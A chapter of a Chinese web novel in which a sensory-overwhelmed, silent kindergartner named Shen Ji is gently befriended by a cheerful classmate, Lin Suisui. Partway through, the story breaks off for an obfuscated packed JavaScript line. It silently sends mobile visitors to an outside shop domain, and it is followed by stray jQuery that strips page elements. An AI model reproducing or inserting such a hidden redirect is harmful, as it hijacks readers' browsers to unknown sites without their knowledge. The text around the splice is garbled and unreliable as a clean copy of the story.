第一章世界太吵，她很安静
九月的阳光还带着夏末的热气，透过幼儿园教室的玻璃窗，在地板上切出一道明晃晃的光带。
教室里乱成一锅粥。
二十几个三四岁的孩子像刚出笼的包子，四处冒着热气。有的追跑打闹，有的扯着嗓子哭嚎要找妈妈，有的为了争一块积木扭打在一起。三个老师忙得脚不沾地，这边刚哄好一个，那边又闹起来。
整个教室像一口沸腾的锅。
而在教室最靠里的墙角，靠近窗帘的位置，一个小小的身影蜷缩在那里。
她没有参与任何游戏，没有和任何人说话，甚至没有抬头看任何人。她把脸埋在膝盖里，双手紧紧捂着自己的耳朵，整个人缩成小小的一团，像是要把自己从这个喧闹的世界里完全抽离出去。
“沈寂这孩子还是这样。”年轻的李老师叹了口气，压低声音对旁边的保育员说，“入园两周了，一句话没说过，也不跟任何人互动。昨天我想拉她的手去做手工，她反应特别大，差点吐了。”
“听她妈妈说，在家也是这样，不让碰，一碰就应激。”保育员摇摇头，“怕是有点什么问题。”
“嘘，别瞎说。可能是适应慢。”
她们的对话飘散在嘈杂的空气里，没有被那个蜷缩在墙角的小女孩听见。或者说，即使听见了，她也无法做出任何回应。
沈寂的世界，从来都是这样的——
声音像潮水一样涌来。小朋友的笑声、哭声、脚步声、桌椅拖动的声音、空调嗡嗡的响声、窗外树叶沙沙的声响……所有的声音都失去了远近和主次，一股脑地灌进她的耳朵里，震得她头皮发麻。
光线太刺眼了。午后的太阳斜射进来，照在她眼皮上，那种明亮让她觉得皮肤都在疼。
还有气味。颜料的味道、午饭残留的气味、汗味、消毒水的味道……每一种气味都浓烈得像实体，争先恐后地钻进她的鼻腔。
太多、太满、太吵了。
她的身体像一个接收器，所有的信号都被放大了十倍、百倍，轰隆隆地砸向她。她承受不了。
所以只能把自己缩起来。捂住耳朵，闭上眼睛，切断那些让她痛苦的信号。
只有这样，才能安全。
不知道过了多久，周围的嘈杂声忽然变得不一样了。
一阵急促的脚步声由远及近，然后是一串清脆的、像小麻雀一样的童音：“哎！你怎么一个人坐在这里呀？”
沈寂没有动，也没有抬头。
她习惯了。经常会有小朋友好奇地跑过来问她为什么不玩，但通常问完得不到回应，对方就会觉得无趣走开。或者更糟的，有人会伸手拽她、推她，想把她拉起来，然后她就会失控。
所以她只是把自己缩得更紧了一些。
但那个人没有走。
“你不热吗？这里晒晒的。”那个声音又说，语气里带着一种天然的、毫无距离感的亲昵，“我们去那边玩吧，那边有积木！”
还是没有回应。
“你是不是不舒服呀？”声音凑得更近了，带着一股淡淡的奶香，“要不要我去叫老师？”
沈寂依然没有抬头。
按照以往的经验，接下来应该是脚步声远去。她等待着熟悉的安静重新降临。
然而下一秒，她感觉到身边的地板微微一沉——那个人坐下来了。
“那我陪你坐一会儿吧。”那个声音轻快地说，好像在说一件再自然不过的事情，“外面好吵哦，这里好像安静一点。”
沈寂的手指微微动了动。
她忍不住，从指缝的间隙里，偷偷抬起了一点眼睛。
视线里是一个扎着小揪揪的女孩，圆圆的脸蛋，一双眼睛亮得像两颗黑葡萄。她没有看沈寂，而是仰着头看着窗外的那棵树，嘴里还在自顾自地说着话：“你看那棵树上有只鸟诶！它的尾巴好长……哇它飞走了……”
她就那样坐在沈寂身边，叽叽喳喳地说着话。但奇怪的是，她的声音并不让人觉得吵。她的语调软软的、糯糯的，像一颗棉花糖，落在沈寂紧绷的神经上，没有激起任何刺痛的反感。
而且她说话的时候，并没有看着沈寂，也没有试图碰她。她只是坐在那里，像一只偶然停歇的小鸟，自顾自地哼着歌、说着话，偶尔晃一晃小腿。
沈寂慢慢松开了捂着耳朵的手。
这是她第一次，在没有感到威胁的情况下，允许另一个人待在离她这么近的地方。
那个女孩似乎感觉到了什么，转过头来，正好对上沈寂那双怯生生看过来的眼睛。
她咧嘴笑了，露出一排小白牙。
“你好呀！我叫林岁岁！”她歪着头，大眼睛弯成了月牙，“你叫什么名字呀？”
沈寂张了张嘴。
喉咙里像堵了一团棉花，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892564|212782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声音卡在嗓子里出不来。她低下头，重新把脸埋回膝盖里。
林岁岁没有追问，也没有失望。她只是往沈寂身边挪了挪屁股，挨得更近了一点，然后用一种理所当然的语气说：
“没关系，你不说我也知道——你叫‘不说话的小朋友’！我给你起的名字！”
沈寂的肩膀轻轻颤了一下。
那不是恐惧，也不是排斥。
那是她人生中第一次，因为另一个人的存在，而感受到了一种奇异的、陌生的温暖。
放学的时候，林岁岁被她妈妈牵着手往外走，走到门口忽然回头，朝角落里那个依然蜷缩着的影子使劲挥了挥手。
“明天见呀！不说话的小朋友！”
沈寂没有回应。
但她一直看着那个方向，直到那个蹦蹦跳跳的小身影消失在门外。
那天晚上，沈寂的妈妈惊讶地发现，女儿在吃饭的时候，嘴角似乎微微翘了一下。
她问沈寂今天在幼儿园开心吗。
沈寂没有说话。
但她点了点头。
很轻、很小幅度的一个点头，却是她在幼儿园两周以来，第一次对“幼儿园”这件事给出正面的回应。
妈妈的眼眶一下子红了。
与此同时，城市的另一边，林岁岁正趴在床上，掰着手指头跟她妈妈数今天在幼儿园认识了多少新朋友。
“……还有一个小女孩，她不说话，就坐在角落里。我跟她说话了，她不理我，但是我觉得她肯定喜欢我！因为她看我了好几次！”
“你怎么知道她喜欢你呀？”妈妈笑着问。
林岁岁歪着脑袋想了想，认真地说：“因为她的眼睛很亮很亮的，像星星一样。星星是不会说话的，但是星星很好看呀！”
妈妈被她逗笑了，揉了揉她的小脑袋：“行行行，我们家岁岁最会交朋友了。”
林岁岁满意地翻了个身，抱着被子，眼睛亮晶晶地看着天花板。
她在心里默默做了个决定——
明天还要去找那个不说话的小朋友。
以后每天都要去。
直到她愿意开口叫她的名字为止。
窗外的月光洒进来，照亮了床头柜上一张皱巴巴的贴纸，那是她今天趁沈寂不注意，偷偷贴在她书包上的。
一朵小小的向日葵。
和她衣服上绣的那朵一模一样。